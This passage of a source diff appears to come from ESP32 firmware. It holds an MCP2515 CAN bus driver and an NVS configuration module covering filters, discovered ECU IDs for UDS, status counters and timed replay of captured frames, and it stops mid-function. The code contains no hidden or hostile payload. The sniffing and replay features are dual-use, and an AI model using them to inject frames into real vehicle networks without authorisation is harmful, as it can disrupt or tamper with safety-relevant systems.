int can_config_get_filters(uint32_t *ids_out, int max_ids)
{
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK) return 0;
uint8_t cnt = 0;
nvs_get_u8(h, KEY_FILTER_CNT, &cnt);
if (cnt == 0 || !ids_out) { nvs_close(h); return 0; }
if (cnt > max_ids) cnt = max_ids;
size_t len = cnt * sizeof(uint32_t);
nvs_get_blob(h, KEY_FILTERS, ids_out, &len);
nvs_close(h);
return (int)cnt;
}
static esp_err_t save_filters(nvs_handle_t h, const uint32_t *ids, uint8_t cnt)
{
esp_err_t err = nvs_set_u8(h, KEY_FILTER_CNT, cnt);
if (err != ESP_OK) return err;
if (cnt > 0) {
err = nvs_set_blob(h, KEY_FILTERS, ids, cnt * sizeof(uint32_t));
} else {
nvs_erase_key(h, KEY_FILTERS);
}
if (err == ESP_OK) err = nvs_commit(h);
return err;
}
esp_err_t can_config_add_filter(uint32_t id)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err != ESP_OK) return err;
uint32_t ids[CAN_CFG_MAX_SW_FILTERS] = { 0 };
uint8_t cnt = 0;
nvs_get_u8(h, KEY_FILTER_CNT, &cnt);
if (cnt > 0) {
size_t len = cnt * sizeof(uint32_t);
nvs_get_blob(h, KEY_FILTERS, ids, &len);
}
/* Check duplicate */
for (int i = 0; i < cnt; i++) {
if (ids[i] == id) { nvs_close(h); return ESP_OK; }
}
if (cnt >= CAN_CFG_MAX_SW_FILTERS) {
nvs_close(h);
return ESP_ERR_NO_MEM;
}
ids[cnt++] = id;
err = save_filters(h, ids, cnt);
nvs_close(h);
return err;
}
esp_err_t can_config_del_filter(uint32_t id)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err != ESP_OK) return err;
uint32_t ids[CAN_CFG_MAX_SW_FILTERS] = { 0 };
uint8_t cnt = 0;
nvs_get_u8(h, KEY_FILTER_CNT, &cnt);
if (cnt > 0) {
size_t len = cnt * sizeof(uint32_t);
nvs_get_blob(h, KEY_FILTERS, ids, &len);
}
/* Find and remove */
bool found = false;
for (int i = 0; i < cnt; i++) {
if (ids[i] == id) {
memmove(&ids[i], &ids[i + 1], (cnt - i - 1) * sizeof(uint32_t));
cnt--;
found = true;
break;
}
}
if (found) {
err = save_filters(h, ids, cnt);
} else {
err = ESP_ERR_NOT_FOUND;
}
nvs_close(h);
return err;
}
esp_err_t can_config_clear_filters(void)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err != ESP_OK) return err;
err = save_filters(h, NULL, 0);
nvs_close(h);
return err;
}
/* ============================================================
* ECU IDs (same pattern as filters)
* ============================================================ */
int can_config_get_ecus(uint32_t *ids_out, int max_ids)
{
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK) return 0;
uint8_t cnt = 0;
nvs_get_u8(h, KEY_ECU_CNT, &cnt);
if (cnt == 0 || !ids_out) { nvs_close(h); return 0; }
if (cnt > max_ids) cnt = max_ids;
size_t len = cnt * sizeof(uint32_t);
nvs_get_blob(h, KEY_ECUS, ids_out, &len);
nvs_close(h);
return (int)cnt;
}
esp_err_t can_config_add_ecu(uint32_t id)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err != ESP_OK) return err;
uint32_t ids[CAN_CFG_MAX_ECUS] = { 0 };
uint8_t cnt = 0;
nvs_get_u8(h, KEY_ECU_CNT, &cnt);
if (cnt > 0) {
size_t len = cnt * sizeof(uint32_t);
nvs_get_blob(h, KEY_ECUS, ids, &len);
}
for (int i = 0; i < cnt; i++) {
if (ids[i] == id) { nvs_close(h); return ESP_OK; }
}
if (cnt >= CAN_CFG_MAX_ECUS) {
nvs_close(h);
return ESP_ERR_NO_MEM;
}
ids[cnt++] = id;
err = nvs_set_u8(h, KEY_ECU_CNT, cnt);
if (err == ESP_OK) err = nvs_set_blob(h, KEY_ECUS, ids, cnt * sizeof(uint32_t));
if (err == ESP_OK) err = nvs_commit(h);
nvs_close(h);
return err;
}
esp_err_t can_config_clear_ecus(void)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err != ESP_OK) return err;
nvs_set_u8(h, KEY_ECU_CNT, 0);
nvs_erase_key(h, KEY_ECUS);
err = nvs_commit(h);
nvs_close(h);
return err;
}
/* ============================================================
* Reset All
* ============================================================ */
esp_err_t can_config_reset_all(void)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err != ESP_OK) return err;
err = nvs_erase_all(h);
if (err == ESP_OK) err = nvs_commit(h);
nvs_close(h);
ESP_LOGI(TAG, "Config reset to defaults");
return err;
}
/* ============================================================
* List (for status responses)
* ============================================================ */
int can_config_list(char *buf, size_t buf_len)
{
int off = 0;
off += snprintf(buf + off, buf_len - off,
"bitrate=%d\nosc_mhz=%u\n",
can_config_get_bitrate(),
can_config_get_osc_mhz());
/* Software filters */
uint32_t fids[CAN_CFG_MAX_SW_FILTERS];
int fcnt = can_config_get_filters(fids, CAN_CFG_MAX_SW_FILTERS);
off += snprintf(buf + off, buf_len - off, "sw_filters=%d:", fcnt);
for (int i = 0; i < fcnt && off < (int)buf_len - 8; i++) {
off += snprintf(buf + off, buf_len - off, " 0x%03lX", (unsigned long)fids[i]);
}
off += snprintf(buf + off, buf_len - off, "\n");
/* Discovered ECUs */
uint32_t eids[CAN_CFG_MAX_ECUS];
int ecnt = can_config_get_ecus(eids, CAN_CFG_MAX_ECUS);
off += snprintf(buf + off, buf_len - off, "ecus=%d:", ecnt);
for (int i = 0; i < ecnt && off < (int)buf_len - 8; i++) {
off += snprintf(buf + off, buf_len - off, " 0x%03lX", (unsigned long)eids[i]);
}
off += snprintf(buf + off, buf_len - off, "\n");
return off;
}
#endif /* CONFIG_MODULE_CANBUS */

View File

@ -0,0 +1,42 @@
/*
* canbus_config.h
* NVS-backed configuration for CAN bus module.
*
* Stores: bitrate, oscillator freq, software filters, discovered ECU IDs.
*/
#pragma once
#include "esp_err.h"
#include <stdint.h>
#include <stdbool.h>
#define CAN_CFG_MAX_SW_FILTERS 16
#define CAN_CFG_MAX_ECUS 16
/* Init NVS namespace (call once at module registration) */
void can_config_init(void);
/* Bitrate (persistent) */
int can_config_get_bitrate(void);
esp_err_t can_config_set_bitrate(int bitrate);
/* Oscillator frequency in MHz (persistent) */
uint8_t can_config_get_osc_mhz(void);
esp_err_t can_config_set_osc_mhz(uint8_t mhz);
/* Software filters — app-level ID whitelist (beyond MCP2515 6 HW filters) */
int can_config_get_filters(uint32_t *ids_out, int max_ids);
esp_err_t can_config_add_filter(uint32_t id);
esp_err_t can_config_del_filter(uint32_t id);
esp_err_t can_config_clear_filters(void);
/* Discovered ECU IDs (for UDS, persistent across reboots) */
int can_config_get_ecus(uint32_t *ids_out, int max_ids);
esp_err_t can_config_add_ecu(uint32_t id);
esp_err_t can_config_clear_ecus(void);
/* Reset all config to defaults */
esp_err_t can_config_reset_all(void);
/* List all config as formatted string (for status response) */
int can_config_list(char *buf, size_t buf_len);

View File

@ -0,0 +1,815 @@
/*
* canbus_driver.c
* MCP2515 CAN 2.0B controller driver via ESP-IDF SPI master.
*
* Architecture:
* GPIO ISR (INT pin, active low) binary semaphore RX task callback
* TX: direct SPI writes to TX buffer 0, poll for completion.
*/
#include "sdkconfig.h"
#ifdef CONFIG_MODULE_CANBUS
#include <string.h>
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/semphr.h"
#include "driver/spi_master.h"
#include "driver/gpio.h"
#include "esp_timer.h"
#include "esp_log.h"
#include "canbus_driver.h"
#define TAG "CAN_DRV"
/* ============================================================
* MCP2515 SPI Instructions
* ============================================================ */
#define MCP_RESET 0xC0
#define MCP_READ 0x03
#define MCP_WRITE 0x02
#define MCP_BIT_MODIFY 0x05
#define MCP_READ_STATUS 0xA0
#define MCP_RX_STATUS 0xB0
#define MCP_READ_RX0 0x90 /* Read RX buffer 0 starting at SIDH */
#define MCP_READ_RX1 0x94 /* Read RX buffer 1 starting at SIDH */
#define MCP_LOAD_TX0 0x40 /* Load TX buffer 0 starting at SIDH */
#define MCP_RTS_TX0 0x81 /* Request-To-Send TX buffer 0 */
/* ============================================================
* MCP2515 Registers
* ============================================================ */
#define MCP_CANCTRL 0x0F
#define MCP_CANSTAT 0x0E
#define MCP_CNF1 0x2A
#define MCP_CNF2 0x29
#define MCP_CNF3 0x28
#define MCP_CANINTE 0x2B
#define MCP_CANINTF 0x2C
#define MCP_EFLG 0x2D
#define MCP_TEC 0x1C
#define MCP_REC 0x1D
/* RXB0CTRL / RXB1CTRL */
#define MCP_RXB0CTRL 0x60
#define MCP_RXB1CTRL 0x70
/* Filter/mask registers */
#define MCP_RXF0SIDH 0x00
#define MCP_RXF1SIDH 0x04
#define MCP_RXF2SIDH 0x08
#define MCP_RXF3SIDH 0x10
#define MCP_RXF4SIDH 0x14
#define MCP_RXF5SIDH 0x18
#define MCP_RXM0SIDH 0x20
#define MCP_RXM1SIDH 0x24
/* TXB0 registers */
#define MCP_TXB0CTRL 0x30
#define MCP_TXB0SIDH 0x31
/* CANCTRL mode bits */
#define MCP_MODE_NORMAL 0x00
#define MCP_MODE_LISTEN 0x60
#define MCP_MODE_LOOPBACK 0x40
#define MCP_MODE_CONFIG 0x80
/* CANINTF bits */
#define MCP_RX0IF 0x01
#define MCP_RX1IF 0x02
#define MCP_TX0IF 0x04
#define MCP_TX1IF 0x08
#define MCP_TX2IF 0x10
#define MCP_ERRIF 0x20
#define MCP_WAKIF 0x40
#define MCP_MERRF 0x80
/* CANINTE bits */
#define MCP_RX0IE 0x01
#define MCP_RX1IE 0x02
#define MCP_ERRIE 0x20
/* EFLG bits */
#define MCP_EFLG_RX0OVR 0x40
#define MCP_EFLG_RX1OVR 0x80
#define MCP_EFLG_TXBO 0x20
#define MCP_EFLG_RXEP 0x10
#define MCP_EFLG_TXEP 0x08
/* ============================================================
* Bit Timing Tables
* ============================================================ */
typedef struct {
int bitrate;
uint8_t cnf1, cnf2, cnf3;
} can_timing_t;
/* 16 MHz oscillator — TQ = 2/Fosc = 125ns */
static const can_timing_t s_timing_16mhz[] = {
{ 1000000, 0x00, 0xCA, 0x01 }, /* 1 Mbps: SJW=1, BRP=0, 8 TQ */
{ 500000, 0x00, 0xF0, 0x86 }, /* 500 kbps: SJW=1, BRP=0, 16 TQ */
{ 250000, 0x01, 0xF0, 0x86 }, /* 250 kbps: SJW=1, BRP=1, 16 TQ */
{ 125000, 0x03, 0xF0, 0x86 }, /* 125 kbps: SJW=1, BRP=3, 16 TQ */
{ 100000, 0x04, 0xF0, 0x86 }, /* 100 kbps: SJW=1, BRP=4, 16 TQ */
{ 0, 0, 0, 0 }
};
/* 8 MHz oscillator — TQ = 2/Fosc = 250ns */
static const can_timing_t s_timing_8mhz[] = {
{ 500000, 0x00, 0x90, 0x02 }, /* 500 kbps: SJW=1, BRP=0, 8 TQ */
{ 250000, 0x00, 0xF0, 0x86 }, /* 250 kbps: SJW=1, BRP=0, 16 TQ */
{ 125000, 0x01, 0xF0, 0x86 }, /* 125 kbps: SJW=1, BRP=1, 16 TQ */
{ 100000, 0x03, 0xAC, 0x03 }, /* 100 kbps: SJW=1, BRP=3, 10 TQ */
{ 0, 0, 0, 0 }
};
/* ============================================================
* Driver State
* ============================================================ */
static spi_device_handle_t s_spi = NULL;
static TaskHandle_t s_rx_task = NULL;
static SemaphoreHandle_t s_int_sem = NULL;
static SemaphoreHandle_t s_tx_mutex = NULL;
static volatile bool s_running = false;
static can_rx_callback_t s_rx_cb = NULL;
static void *s_rx_ctx = NULL;
/* Counters */
static uint32_t s_rx_count = 0;
static uint32_t s_tx_count = 0;
static uint32_t s_bus_errors = 0;
static uint32_t s_rx_overflow = 0;
static bool s_bus_off = false;
static bool s_err_passive = false;
/* ============================================================
* SPI Low-Level Helpers
* ============================================================ */
static uint8_t mcp_read_reg(uint8_t addr)
{
uint8_t tx[3] = { MCP_READ, addr, 0x00 };
uint8_t rx[3] = { 0 };
spi_transaction_t t = {
.length = 24,
.tx_buffer = tx,
.rx_buffer = rx,
};
spi_device_transmit(s_spi, &t);
return rx[2];
}
static void mcp_write_reg(uint8_t addr, uint8_t val)
{
uint8_t tx[3] = { MCP_WRITE, addr, val };
spi_transaction_t t = {
.length = 24,
.tx_buffer = tx,
};
spi_device_transmit(s_spi, &t);
}
static void mcp_modify_reg(uint8_t addr, uint8_t mask, uint8_t val)
{
uint8_t tx[4] = { MCP_BIT_MODIFY, addr, mask, val };
spi_transaction_t t = {
.length = 32,
.tx_buffer = tx,
};
spi_device_transmit(s_spi, &t);
}
static void mcp_reset(void)
{
uint8_t tx[1] = { MCP_RESET };
spi_transaction_t t = {
.length = 8,
.tx_buffer = tx,
};
spi_device_transmit(s_spi, &t);
vTaskDelay(pdMS_TO_TICKS(10)); /* MCP2515 needs time after reset */
}
static void mcp_set_mode(uint8_t mode)
{
mcp_modify_reg(MCP_CANCTRL, 0xE0, mode);
/* Wait for mode change confirmation */
for (int i = 0; i < 50; i++) {
uint8_t stat = mcp_read_reg(MCP_CANSTAT);
if ((stat & 0xE0) == mode) return;
vTaskDelay(pdMS_TO_TICKS(1));
}
ESP_LOGW(TAG, "Mode change to 0x%02X timeout", mode);
}
/* Read a complete frame from RX buffer (0 or 1) */
static void mcp_read_rx_buffer(int buf, can_frame_t *frame)
{
/* Use READ_RX instruction for auto-clear of interrupt flag */
uint8_t cmd = (buf == 0) ? MCP_READ_RX0 : MCP_READ_RX1;
/* Read: cmd + SIDH + SIDL + EID8 + EID0 + DLC + 8 data = 14 bytes */
uint8_t tx[14] = { 0 };
uint8_t rx[14] = { 0 };
tx[0] = cmd;
spi_transaction_t t = {
.length = 14 * 8,
.tx_buffer = tx,
.rx_buffer = rx,
};
spi_device_transmit(s_spi, &t);
/* Parse — offsets relative to rx[1] (SIDH is byte 1) */
uint8_t sidh = rx[1];
uint8_t sidl = rx[2];
uint8_t eid8 = rx[3];
uint8_t eid0 = rx[4];
uint8_t dlc = rx[5];
frame->extended = (sidl & 0x08) != 0;
frame->rtr = false;
if (frame->extended) {
frame->id = ((uint32_t)sidh << 21)
| ((uint32_t)(sidl & 0xE0) << 13)
| ((uint32_t)(sidl & 0x03) << 16)
| ((uint32_t)eid8 << 8)
| (uint32_t)eid0;
frame->rtr = (dlc & 0x40) != 0;
} else {
frame->id = ((uint32_t)sidh << 3) | ((uint32_t)(sidl >> 5) & 0x07);
frame->rtr = (sidl & 0x10) != 0;
}
frame->dlc = dlc & 0x0F;
if (frame->dlc > 8) frame->dlc = 8;
memcpy(frame->data, &rx[6], 8);
frame->timestamp_us = 0; /* Caller sets timestamp */
}
/* Write a frame to TX buffer 0 and request send */
static bool mcp_write_tx_buffer(const can_frame_t *frame)
{
/* Check if TX buffer 0 is free */
uint8_t ctrl = mcp_read_reg(MCP_TXB0CTRL);
if (ctrl & 0x08) {
/* TXREQ still set — previous TX pending */
return false;
}
/* Build TX buffer content: SIDH + SIDL + EID8 + EID0 + DLC + data */
uint8_t tx[14] = { 0 };
tx[0] = MCP_LOAD_TX0;
if (frame->extended) {
tx[1] = (uint8_t)(frame->id >> 21); /* SIDH */
tx[2] = (uint8_t)((frame->id >> 13) & 0xE0) /* SIDL high bits */
| 0x08 /* EXIDE = 1 */
| (uint8_t)((frame->id >> 16) & 0x03); /* SIDL low bits */
tx[3] = (uint8_t)(frame->id >> 8); /* EID8 */
tx[4] = (uint8_t)(frame->id); /* EID0 */
tx[5] = frame->dlc | (frame->rtr ? 0x40 : 0x00); /* DLC + RTR */
} else {
tx[1] = (uint8_t)(frame->id >> 3); /* SIDH */
tx[2] = (uint8_t)((frame->id & 0x07) << 5) /* SIDL */
| (frame->rtr ? 0x10 : 0x00);
tx[3] = 0;
tx[4] = 0;
tx[5] = frame->dlc;
}
memcpy(&tx[6], frame->data, 8);
spi_transaction_t t = {
.length = 14 * 8,
.tx_buffer = tx,
};
spi_device_transmit(s_spi, &t);
/* Request to send */
uint8_t rts = MCP_RTS_TX0;
spi_transaction_t rts_t = {
.length = 8,
.tx_buffer = &rts,
};
spi_device_transmit(s_spi, &rts_t);
return true;
}
/* ============================================================
* GPIO ISR INT pin (active low)
* ============================================================ */
static void IRAM_ATTR gpio_isr_handler(void *arg)
{
BaseType_t woken = pdFALSE;
xSemaphoreGiveFromISR(s_int_sem, &woken);
if (woken) portYIELD_FROM_ISR();
}
/* ============================================================
* RX Task
* ============================================================ */
static void rx_task(void *arg)
{
ESP_LOGI(TAG, "RX task started");
while (s_running) {
/* Wait for interrupt or timeout (poll every 100ms as fallback) */
if (xSemaphoreTake(s_int_sem, pdMS_TO_TICKS(100)) != pdTRUE) {
continue;
}
/* Read interrupt flags */
uint8_t intf = mcp_read_reg(MCP_CANINTF);
/* RX buffer 0 full */
if (intf & MCP_RX0IF) {
can_frame_t frame;
mcp_read_rx_buffer(0, &frame); /* READ_RX auto-clears RX0IF */
frame.timestamp_us = esp_timer_get_time();
s_rx_count++;
if (s_rx_cb) s_rx_cb(&frame, s_rx_ctx);
}
/* RX buffer 1 full */
if (intf & MCP_RX1IF) {
can_frame_t frame;
mcp_read_rx_buffer(1, &frame); /* READ_RX auto-clears RX1IF */
frame.timestamp_us = esp_timer_get_time();
s_rx_count++;
if (s_rx_cb) s_rx_cb(&frame, s_rx_ctx);
}
/* Error interrupt */
if (intf & MCP_ERRIF) {
uint8_t eflg = mcp_read_reg(MCP_EFLG);
s_bus_errors++;
if (eflg & MCP_EFLG_TXBO) {
s_bus_off = true;
ESP_LOGW(TAG, "Bus-off detected");
}
if (eflg & (MCP_EFLG_RXEP | MCP_EFLG_TXEP)) {
s_err_passive = true;
}
if (eflg & (MCP_EFLG_RX0OVR | MCP_EFLG_RX1OVR)) {
s_rx_overflow++;
}
/* Clear error flags */
mcp_modify_reg(MCP_EFLG, 0xFF, 0x00);
mcp_modify_reg(MCP_CANINTF, MCP_ERRIF, 0x00);
}
/* TX complete — clear flags */
if (intf & (MCP_TX0IF | MCP_TX1IF | MCP_TX2IF)) {
mcp_modify_reg(MCP_CANINTF, MCP_TX0IF | MCP_TX1IF | MCP_TX2IF, 0x00);
}
}
ESP_LOGI(TAG, "RX task stopped");
s_rx_task = NULL;
vTaskDelete(NULL);
}
/* ============================================================
* Public API Lifecycle
* ============================================================ */
bool can_driver_init(int bitrate, uint8_t osc_mhz)
{
if (s_spi) {
ESP_LOGW(TAG, "Already initialized");
return false;
}
/* Select timing table */
const can_timing_t *table = NULL;
if (osc_mhz == 16) {
table = s_timing_16mhz;
} else if (osc_mhz == 8) {
table = s_timing_8mhz;
} else {
ESP_LOGE(TAG, "Unsupported oscillator: %u MHz", osc_mhz);
return false;
}
/* Find matching bitrate */
const can_timing_t *timing = NULL;
for (int i = 0; table[i].bitrate != 0; i++) {
if (table[i].bitrate == bitrate) {
timing = &table[i];
break;
}
}
if (!timing) {
ESP_LOGE(TAG, "Unsupported bitrate %d for %u MHz osc", bitrate, osc_mhz);
return false;
}
/* Init SPI bus */
spi_bus_config_t bus_cfg = {
.mosi_io_num = CONFIG_CANBUS_PIN_MOSI,
.miso_io_num = CONFIG_CANBUS_PIN_MISO,
.sclk_io_num = CONFIG_CANBUS_PIN_SCK,
.quadwp_io_num = -1,
.quadhd_io_num = -1,
.max_transfer_sz = 32,
};
esp_err_t ret = spi_bus_initialize(CONFIG_CANBUS_SPI_HOST, &bus_cfg, SPI_DMA_DISABLED);
if (ret != ESP_OK) {
ESP_LOGE(TAG, "SPI bus init failed: %s", esp_err_to_name(ret));
return false;
}
/* Add MCP2515 as SPI device */
spi_device_interface_config_t dev_cfg = {
.mode = 0, /* SPI mode 0 (CPOL=0, CPHA=0) */
.clock_speed_hz = CONFIG_CANBUS_SPI_CLOCK_HZ,
.spics_io_num = CONFIG_CANBUS_PIN_CS,
.queue_size = 4,
};
ret = spi_bus_add_device(CONFIG_CANBUS_SPI_HOST, &dev_cfg, &s_spi);
if (ret != ESP_OK) {
ESP_LOGE(TAG, "SPI device add failed: %s", esp_err_to_name(ret));
spi_bus_free(CONFIG_CANBUS_SPI_HOST);
return false;
}
/* Reset MCP2515 (enters CONFIG mode automatically) */
mcp_reset();
/* Verify we can read CANSTAT — should be in CONFIG mode (0x80) */
uint8_t stat = mcp_read_reg(MCP_CANSTAT);
if ((stat & 0xE0) != MCP_MODE_CONFIG) {
ESP_LOGE(TAG, "MCP2515 not responding (CANSTAT=0x%02X)", stat);
spi_bus_remove_device(s_spi);
spi_bus_free(CONFIG_CANBUS_SPI_HOST);
s_spi = NULL;
return false;
}
ESP_LOGI(TAG, "MCP2515 detected (CANSTAT=0x%02X)", stat);
/* Set bit timing */
mcp_write_reg(MCP_CNF1, timing->cnf1);
mcp_write_reg(MCP_CNF2, timing->cnf2);
mcp_write_reg(MCP_CNF3, timing->cnf3);
/* Enable interrupts: RX0, RX1, Error */
mcp_write_reg(MCP_CANINTE, MCP_RX0IE | MCP_RX1IE | MCP_ERRIE);
/* Clear all interrupt flags */
mcp_write_reg(MCP_CANINTF, 0x00);
/* RXB0CTRL: rollover to RXB1 if RXB0 full, receive all valid messages */
mcp_write_reg(MCP_RXB0CTRL, 0x64); /* BUKT=1, RXM=11 (turn mask/filter off) */
mcp_write_reg(MCP_RXB1CTRL, 0x60); /* RXM=11 (turn mask/filter off) */
/* Create semaphores */
s_int_sem = xSemaphoreCreateBinary();
s_tx_mutex = xSemaphoreCreateMutex();
/* Reset counters */
s_rx_count = 0;
s_tx_count = 0;
s_bus_errors = 0;
s_rx_overflow = 0;
s_bus_off = false;
s_err_passive = false;
/* Configure INT pin as input with pull-up, falling edge interrupt */
gpio_config_t io_cfg = {
.pin_bit_mask = (1ULL << CONFIG_CANBUS_PIN_INT),
.mode = GPIO_MODE_INPUT,
.pull_up_en = GPIO_PULLUP_ENABLE,
.pull_down_en = GPIO_PULLDOWN_DISABLE,
.intr_type = GPIO_INTR_NEGEDGE,
};
gpio_config(&io_cfg);
gpio_install_isr_service(0);
gpio_isr_handler_add(CONFIG_CANBUS_PIN_INT, gpio_isr_handler, NULL);
ESP_LOGI(TAG, "Initialized: %d bps, %u MHz osc, SPI@%d Hz",
bitrate, osc_mhz, CONFIG_CANBUS_SPI_CLOCK_HZ);
return true;
}
bool can_driver_start(can_mode_t mode)
{
if (!s_spi) {
ESP_LOGE(TAG, "Not initialized");
return false;
}
if (s_running) {
ESP_LOGW(TAG, "Already running");
return false;
}
/* Map mode enum to MCP2515 mode register value */
uint8_t mcp_mode;
const char *mode_str;
switch (mode) {
case CAN_MODE_LISTEN_ONLY:
mcp_mode = MCP_MODE_LISTEN;
mode_str = "listen-only";
break;
case CAN_MODE_LOOPBACK:
mcp_mode = MCP_MODE_LOOPBACK;
mode_str = "loopback";
break;
default:
mcp_mode = MCP_MODE_NORMAL;
mode_str = "normal";
break;
}
/* Set operational mode */
mcp_set_mode(mcp_mode);
/* Verify mode */
uint8_t stat = mcp_read_reg(MCP_CANSTAT);
if ((stat & 0xE0) != mcp_mode) {
ESP_LOGE(TAG, "Failed to enter %s mode (CANSTAT=0x%02X)", mode_str, stat);
return false;
}
s_running = true;
/* Start RX task on Core 1, priority 5 (above normal) */
BaseType_t ret = xTaskCreatePinnedToCore(
rx_task, "can_rx", 4096, NULL, 5, &s_rx_task, 1
);
if (ret != pdPASS) {
ESP_LOGE(TAG, "Failed to create RX task");
s_running = false;
mcp_set_mode(MCP_MODE_CONFIG);
return false;
}
ESP_LOGI(TAG, "Started in %s mode", mode_str);
return true;
}
void can_driver_stop(void)
{
if (!s_running) return;
s_running = false;
/* Give semaphore to wake RX task so it exits */
if (s_int_sem) xSemaphoreGive(s_int_sem);
/* Wait for RX task to die */
for (int i = 0; i < 20 && s_rx_task != NULL; i++) {
vTaskDelay(pdMS_TO_TICKS(50));
}
/* Put MCP2515 back to CONFIG mode */
if (s_spi) {
mcp_set_mode(MCP_MODE_CONFIG);
}
ESP_LOGI(TAG, "Stopped");
}
void can_driver_deinit(void)
{
can_driver_stop();
/* Remove ISR */
gpio_isr_handler_remove(CONFIG_CANBUS_PIN_INT);
/* Free SPI */
if (s_spi) {
spi_bus_remove_device(s_spi);
spi_bus_free(CONFIG_CANBUS_SPI_HOST);
s_spi = NULL;
}
/* Free semaphores */
if (s_int_sem) { vSemaphoreDelete(s_int_sem); s_int_sem = NULL; }
if (s_tx_mutex) { vSemaphoreDelete(s_tx_mutex); s_tx_mutex = NULL; }
ESP_LOGI(TAG, "Deinitialized");
}
bool can_driver_is_running(void)
{
return s_running;
}
/* ============================================================
* Public API TX / RX
* ============================================================ */
bool can_driver_send(const can_frame_t *frame)
{
if (!s_running || !s_spi) return false;
xSemaphoreTake(s_tx_mutex, portMAX_DELAY);
/* Try to load into TX buffer, with retries for busy buffer */
bool ok = false;
for (int i = 0; i < 10; i++) {
if (mcp_write_tx_buffer(frame)) {
ok = true;
break;
}
vTaskDelay(pdMS_TO_TICKS(1));
}
if (ok) {
/* Wait for TX complete (TX0IF) or timeout */
for (int i = 0; i < 100; i++) {
uint8_t intf = mcp_read_reg(MCP_CANINTF);
if (intf & MCP_TX0IF) {
mcp_modify_reg(MCP_CANINTF, MCP_TX0IF, 0x00);
s_tx_count++;
break;
}
vTaskDelay(pdMS_TO_TICKS(1));
}
}
xSemaphoreGive(s_tx_mutex);
return ok;
}
void can_driver_set_rx_callback(can_rx_callback_t cb, void *ctx)
{
s_rx_cb = cb;
s_rx_ctx = ctx;
}
void can_driver_get_rx_callback(can_rx_callback_t *cb, void **ctx)
{
if (cb) *cb = s_rx_cb;
if (ctx) *ctx = s_rx_ctx;
}
/* ============================================================
* Public API Hardware Filters
* ============================================================ */
/* Filter register base addresses (SIDH of each filter) */
static const uint8_t s_filter_addrs[6] = {
MCP_RXF0SIDH, MCP_RXF1SIDH, MCP_RXF2SIDH,
MCP_RXF3SIDH, MCP_RXF4SIDH, MCP_RXF5SIDH,
};
static const uint8_t s_mask_addrs[2] = {
MCP_RXM0SIDH, MCP_RXM1SIDH,
};
/* Write ID to filter/mask register set (4 bytes: SIDH, SIDL, EID8, EID0) */
static void write_id_regs(uint8_t base_addr, uint32_t id, bool extended)
{
uint8_t sidh, sidl, eid8, eid0;
if (extended) {
sidh = (uint8_t)(id >> 21);
sidl = (uint8_t)((id >> 13) & 0xE0) | 0x08 | (uint8_t)((id >> 16) & 0x03);
eid8 = (uint8_t)(id >> 8);
eid0 = (uint8_t)(id);
} else {
sidh = (uint8_t)(id >> 3);
sidl = (uint8_t)((id & 0x07) << 5);
eid8 = 0;
eid0 = 0;
}
mcp_write_reg(base_addr, sidh);
mcp_write_reg(base_addr + 1, sidl);
mcp_write_reg(base_addr + 2, eid8);
mcp_write_reg(base_addr + 3, eid0);
}
bool can_driver_set_filter(int idx, uint32_t id, bool extended)
{
if (!s_spi || idx < 0 || idx > 5) return false;
/* Filters can only be set in CONFIG mode */
bool was_running = s_running;
if (was_running) can_driver_stop();
mcp_set_mode(MCP_MODE_CONFIG);
write_id_regs(s_filter_addrs[idx], id, extended);
/* Enable filtering on the relevant RX buffer */
if (idx < 2) {
mcp_write_reg(MCP_RXB0CTRL, 0x04); /* BUKT=1, RXM=00 (use filter) */
} else {
mcp_write_reg(MCP_RXB1CTRL, 0x00); /* RXM=00 (use filter) */
}
if (was_running) can_driver_start(CAN_MODE_NORMAL);
return true;
}
bool can_driver_set_mask(int idx, uint32_t mask, bool extended)
{
if (!s_spi || idx < 0 || idx > 1) return false;
bool was_running = s_running;
if (was_running) can_driver_stop();
mcp_set_mode(MCP_MODE_CONFIG);
write_id_regs(s_mask_addrs[idx], mask, extended);
if (was_running) can_driver_start(CAN_MODE_NORMAL);
return true;
}
void can_driver_clear_filters(void)
{
if (!s_spi) return;
bool was_running = s_running;
if (was_running) can_driver_stop();
mcp_set_mode(MCP_MODE_CONFIG);
/* Set masks to 0 (match anything) */
for (int i = 0; i < 2; i++) {
write_id_regs(s_mask_addrs[i], 0, false);
}
/* RXM=11 → turn off mask/filter, receive all */
mcp_write_reg(MCP_RXB0CTRL, 0x64);
mcp_write_reg(MCP_RXB1CTRL, 0x60);
if (was_running) can_driver_start(CAN_MODE_NORMAL);
}
/* ============================================================
* Public API Status
* ============================================================ */
void can_driver_get_status(can_status_t *out)
{
memset(out, 0, sizeof(*out));
out->rx_count = s_rx_count;
out->tx_count = s_tx_count;
out->bus_errors = s_bus_errors;
out->rx_overflow = s_rx_overflow;
out->bus_off = s_bus_off;
if (s_spi) {
out->tx_errors = mcp_read_reg(MCP_TEC);
out->rx_errors = mcp_read_reg(MCP_REC);
out->error_passive = (out->tx_errors > 127) || (out->rx_errors > 127);
}
if (!s_spi) out->state = "not_initialized";
else if (!s_running) out->state = "stopped";
else if (out->bus_off) out->state = "bus_off";
else if (out->error_passive) out->state = "error_passive";
else out->state = "running";
}
/* ============================================================
* Public API Replay
* ============================================================ */
bool can_driver_replay(const can_frame_t *frames, int count, int speed_pct)
{
if (!s_running || !frames || count <= 0) return false;
ESP_LOGI(TAG, "Replaying %d frames at %d%% speed", count, speed_pct);
int64_t base_ts = frames[0].timestamp_us;
for (int i = 0; i < count && s_running; i++) {
/* Wait for inter-frame delay */
if (i > 0 && speed_pct > 0) {
int64_t delta_us = frames[i].timestamp_us - frames[i - 1].timestamp_us;
if (delta_us > 0) {
int64_t wait_us = (delta_us * 100) / speed_pct;
if (wait_us > 1000) {
vTaskDelay(pdMS_TO_TICKS(wait_us / 1000));
}
}
}
can_frame_t tx = frames[i];
if (!can_driver_send(&tx)) {
